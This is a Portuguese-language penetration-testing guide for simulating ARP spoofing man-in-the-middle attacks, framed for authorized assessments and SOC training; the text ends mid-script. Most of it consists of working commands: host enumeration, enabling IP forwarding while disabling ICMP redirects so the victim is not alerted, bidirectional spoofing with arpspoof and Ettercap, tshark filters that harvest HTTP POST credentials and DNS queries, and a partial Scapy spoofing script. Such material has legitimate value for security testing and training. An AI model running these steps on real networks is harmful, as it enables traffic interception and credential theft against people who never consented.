Simulação de Ataque de ARP Spoofing

Quando Usar

• Testar se switches de rede e infraestrutura implementam corretamente a Inspeção Dinâmica de ARP (DAI)
• Demonstrar riscos de ataque man-in-the-middle para stakeholders durante avaliações de segurança autorizadas
• Validar que ferramentas de monitoramento de rede (IDS/IPS, SIEM) detectam tentativas de envenenamento de cache ARP
• Avaliar a eficácia de controles de segurança de porta, 802.1X e segmentação de VLAN
• Treinar analistas de SOC para reconhecer indicadores de ARP spoofing no tráfego de rede

Não use em redes de produção sem autorização escrita explícita e um plano de reversão, contra redes que transportam tráfego crítico ou de segurança de vida, ou como um vetor de ataque de negação de serviço.

Pré-requisitos

• Autorização escrita especificando os segmentos de rede em escopo para a simulação de ARP spoofing
• Kali Linux ou distribuição similar de testes de penetração com arpspoof, Ettercap e Scapy instalados
• Acesso direto na Camada 2 ao segmento de rede alvo (mesma VLAN dos hosts alvo)
• Conhecimento de encaminhamento de IP e capacidade de habilitar/desabilitar o encaminhamento de pacotes na máquina atacante
• Wireshark ou tcpdump para capturar tráfego e verificar a interceptação
• Ambiente de laboratório isolado ou janela de teste de produção aprovada

Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Etapa 1: Enumerar o Segmento de Rede Alvo

# Discover hosts on the local subnet
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt

# Identify the default gateway
ip route show default
# Output: default via 192.168.1.1 dev eth0

# Identify target hosts and their MAC addresses
arp-scan -l -I eth0

# Verify the current ARP table
arp -a

# Note the gateway IP (192.168.1.1) and target host IP (192.168.1.50)
# Record their legitimate MAC addresses for verification and cleanup

Etapa 2: Habilitar Encaminhamento de IP

# Enable IPv4 forwarding to relay packets between victim and gateway
sudo sysctl -w net.ipv4.ip_forward=1

# Verify forwarding is enabled
cat /proc/sys/net/ipv4/ip_forward
# Should output: 1

# Optionally prevent ICMP redirects that could alert the victim
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0

Etapa 3: Executar ARP Spoofing com arpspoof

# Spoof the gateway to the target (tell target we are the gateway)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1

# In a separate terminal, spoof the target to the gateway (bidirectional)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50

# Alternative: Use Ettercap for unified bidirectional spoofing
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//

Etapa 4: Capturar e Analisar Tráfego Interceptado

# Capture all traffic flowing through the attacker machine
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50

# Use tshark to capture HTTP credentials in real-time
sudo tshark -i eth0 -Y "http.request.method == POST" \
  -T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value

# Capture DNS queries from the victim
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
  -T fields -e frame.time -e dns.qry.name

# Use Ettercap with password collection filters
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
  -w ettercap_capture.pcap

Etapa 5: Demonstrar Impacto com Scapy (Pacotes ARP Personalizados)

#!/usr/bin/env python3
"""Demonstração de ARP spoofing usando Scapy para testes de segurança autorizados."""

from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys

conf.verb = 0

def get_mac(ip, iface="eth0"):
    """Resolve IP para endereço MAC via requisição ARP."""
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
                 timeout=2, iface=iface)
    if ans:
        return ans[0][1].hwsrc
    return None

def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
    """Envia resposta ARP falsificada para o alvo."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)

def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
    """Restaura entradas ARP legítimas."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
                 psrc=gateway_ip, hwsrc=gateway_mac)

…